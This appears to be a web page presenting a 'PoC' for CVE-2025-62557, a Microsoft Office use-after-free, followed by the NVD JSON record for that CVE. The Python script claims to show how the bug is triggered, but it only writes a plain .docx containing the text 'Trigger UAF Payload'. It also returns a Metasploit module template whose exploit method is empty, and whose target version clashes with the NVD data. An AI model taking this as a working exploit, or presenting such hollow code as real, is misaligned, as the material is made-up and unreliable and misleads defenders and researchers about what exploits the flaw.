CVE-2025-62557

// CVE-2025-62557 PoC - Microsoft Office Use After Free // This PoC demonstrates the vulnerability trigger mechanism import struct import zipfile import os def create_malicious_doc(): """ Create a malicious Office document to trigger Use After Free The actual exploitation requires precise memory manipulation """ doc_path = "CVE-2025-62557_poc.docx" # Create minimal Office document structure with zipfile.ZipFile(doc_path, 'w') as docx: # Add document.xml with malicious content docx.writestr('word/document.xml', ''' <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>Trigger UAF Payload</w:t> </w:r> </w:p> </w:body> </w:document> '''.encode()) # Add minimal required files docx.writestr('[Content_Types].xml', ''' <?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/> </Types> '''.encode()) docx.writestr('_rels/.rels', ''' <?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/> </Relationships> '''.encode()) docx.writestr('word/_rels/document.xml.rels', ''' <?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> </Relationships> '''.encode()) print(f"[+] Created PoC document: {doc_path}") print("[!] Note: Actual exploitation requires advanced heap spray techniques") return doc_path def msf_exploit_module(): """ Metasploit module structure for CVE-2025-62557 Framework: rapid7/metasploit-framework """ module_code = ''' # Metasploit module for CVE-2025-62557 # Microsoft Office Use After Free RCE require 'msf/core/exploit/office_doc' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office Use After Free', 'Description' => %q{ This module exploits a use after free vulnerability in Microsoft Office. The vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Office. }, 'Author' => '[email protected]', 'References' => [ ['CVE', '2025-62557'], ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62557'] ], 'Platform' => 'win', 'Targets' => [ ['Microsoft Office < 2024'], ], 'DisclosureDate' => '2025-12-09' )) end def exploit # Heap spray and UAF trigger mechanism print_status("Triggering CVE-2025-62557...") # Actual exploitation code would go here end end ''' return module_code if __name__ == '__main__': create_malicious_doc() print("\n[+] Metasploit module template generated")

{"cve": {"id": "CVE-2025-62557", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:01.127", "lastModified": "2025-12-10T15:41:46.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:-:*:*:*:*:android:*:*", "matchCriteriaId": "DD6ED53F-7197-439D-A458-0DF13E16AE91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "72324216-4EB3-4243-A007-FEF3133C7DF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "0FBB0E61-7997-4F26-9C07-54912D3F1C10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62557", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}